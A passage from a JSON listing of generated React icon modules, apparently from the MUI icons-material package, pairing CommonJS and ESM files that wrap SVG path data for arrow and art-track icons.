    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z\"\n}), 'ArrowOutwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutwardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 7c0 .55.45 1 1 1h7.59l-8.88 8.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L16 9.41V17c0 .55.45 1 1 1s1-.45 1-1V7c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1\"\n}), 'ArrowOutwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutwardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 7c0 .55.45 1 1 1h7.59l-8.88 8.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L16 9.41V17c0 .55.45 1 1 1s1-.45 1-1V7c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1\"\n}), 'ArrowOutwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutwardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z\"\n}), 'ArrowOutwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutwardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z\"\n}), 'ArrowOutwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutwardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z\"\n}), 'ArrowOutwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowOutwardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z\"\n}), 'ArrowOutwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 17 5-5-5-5z\"\n}), 'ArrowRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 17 5-5-5-5z\"\n}), 'ArrowRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 11H4v2h12.01v3L20 12l-3.99-4z\"\n}), 'ArrowRightAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 11H4v2h12.01v3L20 12l-3.99-4z\"\n}), 'ArrowRightAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 11H4v2h12.01v3L20 12l-3.99-4z\"\n}), 'ArrowRightAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 11H4v2h12.01v3L20 12l-3.99-4z\"\n}), 'ArrowRightAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 11H5c-.55 0-1 .45-1 1s.45 1 1 1h11.01v1.79c0 .45.54.67.85.35l2.78-2.79c.19-.2.19-.51 0-.71l-2.78-2.79c-.31-.32-.85-.09-.85.35z\"\n}), 'ArrowRightAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 11H5c-.55 0-1 .45-1 1s.45 1 1 1h11.01v1.79c0 .45.54.67.85.35l2.78-2.79c.19-.2.19-.51 0-.71l-2.78-2.79c-.31-.32-.85-.09-.85.35z\"\n}), 'ArrowRightAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 11H4v2h12.01v3L20 12l-3.99-4z\"\n}), 'ArrowRightAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 11H4v2h12.01v3L20 12l-3.99-4z\"\n}), 'ArrowRightAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.01 11H4v2h12.01v3L20 12l-3.99-4z\"\n}), 'ArrowRightAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.01 11H4v2h12.01v3L20 12l-3.99-4z\"\n}), 'ArrowRightAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 17 5-5-5-5z\"\n}), 'ArrowRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 17 5-5-5-5z\"\n}), 'ArrowRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.71 15.29 2.59-2.59c.39-.39.39-1.02 0-1.41L11.71 8.7c-.63-.62-1.71-.18-1.71.71v5.17c0 .9 1.08 1.34 1.71.71\"\n}), 'ArrowRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.71 15.29 2.59-2.59c.39-.39.39-1.02 0-1.41L11.71 8.7c-.63-.62-1.71-.18-1.71.71v5.17c0 .9 1.08 1.34 1.71.71\"\n}), 'ArrowRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 17 5-5-5-5z\"\n}), 'ArrowRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 17 5-5-5-5z\"\n}), 'ArrowRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 17 5-5-5-5z\"\n}), 'ArrowRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 17 5-5-5-5z\"\n}), 'ArrowRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpward.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 12 1.41 1.41L11 7.83V20h2V7.83l5.58 5.59L20 12l-8-8z\"\n}), 'ArrowUpward');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpward.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 12 1.41 1.41L11 7.83V20h2V7.83l5.58 5.59L20 12l-8-8z\"\n}), 'ArrowUpward');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpwardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 12 1.41 1.41L11 7.83V20h2V7.83l5.58 5.59L20 12l-8-8z\"\n}), 'ArrowUpwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpwardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 12 1.41 1.41L11 7.83V20h2V7.83l5.58 5.59L20 12l-8-8z\"\n}), 'ArrowUpwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpwardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 19V7.83l4.88 4.88c.39.39 1.03.39 1.42 0s.39-1.02 0-1.41l-6.59-6.59a.996.996 0 0 0-1.41 0l-6.6 6.58c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L11 7.83V19c0 .55.45 1 1 1s1-.45 1-1\"\n}), 'ArrowUpwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpwardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 19V7.83l4.88 4.88c.39.39 1.03.39 1.42 0s.39-1.02 0-1.41l-6.59-6.59a.996.996 0 0 0-1.41 0l-6.6 6.58c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L11 7.83V19c0 .55.45 1 1 1s1-.45 1-1\"\n}), 'ArrowUpwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpwardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 12 1.41 1.41L11 7.83V20h2V7.83l5.58 5.59L20 12l-8-8z\"\n}), 'ArrowUpwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpwardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 12 1.41 1.41L11 7.83V20h2V7.83l5.58 5.59L20 12l-8-8z\"\n}), 'ArrowUpwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpwardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 12 1.41 1.41L11 7.83V20h2V7.83l5.58 5.59L20 12l-8-8z\"\n}), 'ArrowUpwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowUpwardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 12 1.41 1.41L11 7.83V20h2V7.83l5.58 5.59L20 12l-8-8z\"\n}), 'ArrowUpwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrack.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 13h-8v-2h8zm0-6h-8v2h8zm-8 10h8v-2h-8zm-2-8v6c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2m-1.5 6-2.25-3-1.75 2.26-1.25-1.51L3.5 15z\"\n}), 'ArtTrack');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrack.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 13h-8v-2h8zm0-6h-8v2h8zm-8 10h8v-2h-8zm-2-8v6c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2m-1.5 6-2.25-3-1.75 2.26-1.25-1.51L3.5 15z\"\n}), 'ArtTrack');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 13h-8v-2h8zm0-6h-8v2h8zm-8 10h8v-2h-8zm-2-8v6c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2m-1.5 6-2.25-3-1.75 2.26-1.25-1.51L3.5 15z\"\n}), 'ArtTrackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 13h-8v-2h8zm0-6h-8v2h8zm-8 10h8v-2h-8zm-2-8v6c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2m-1.5 6-2.25-3-1.75 2.26-1.25-1.51L3.5 15z\"\n}), 'ArtTrackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 13h-6c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m0-6h-6c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1m-6 10h6c.55 0 1-.45 1-1s-.45-1-1-1h-6c-.55 0-1 .45-1 1s.45 1 1 1m-3-8v6c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2m-2.1 5.2-1.26-1.68c-.2-.26-.59-.27-.8-.01L6.5 14.26l-.85-1.03c-.2-.25-.58-.24-.78.01l-.74.95c-.26.33-.02.81.39.81H9.5c.41 0 .65-.47.4-.8\"\n}), 'ArtTrackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 13h-6c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m0-6h-6c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1m-6 10h6c.55 0 1-.45 1-1s-.45-1-1-1h-6c-.55 0-1 .45-1 1s.45 1 1 1m-3-8v6c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2m-2.1 5.2-1.26-1.68c-.2-.26-.59-.27-.8-.01L6.5 14.26l-.85-1.03c-.2-.25-.58-.24-.78.01l-.74.95c-.26.33-.02.81.39.81H9.5c.41 0 .65-.47.4-.8\"\n}), 'ArtTrackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 13h-8v-2h8zm0-6h-8v2h8zm-8 10h8v-2h-8zM12 7v10H2V7zm-1.5 8-2.25-3-1.75 2.26-1.25-1.51L3.5 15z\"\n}), 'ArtTrackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 13h-8v-2h8zm0-6h-8v2h8zm-8 10h8v-2h-8zM12 7v10H2V7zm-1.5 8-2.25-3-1.75 2.26-1.25-1.51L3.5 15z\"\n}), 'ArtTrackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 7h8v2h-8zm0 4h8v2h-8zm0 4h8v2h-8zM4 17h6c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2m1.25-4.25 1.25 1.51L8.25 12l2.25 3h-7z\"\n}), 'ArtTrackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArtTrackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 7h8v2h-8zm0 4h8v2h-8zm0 4h8v2h-8zM4 17h6c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2m1.25-4.25 1.25 1.51L8.25 12l2.25 3h-7z\"\n}), 'ArtTrackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Article.js",
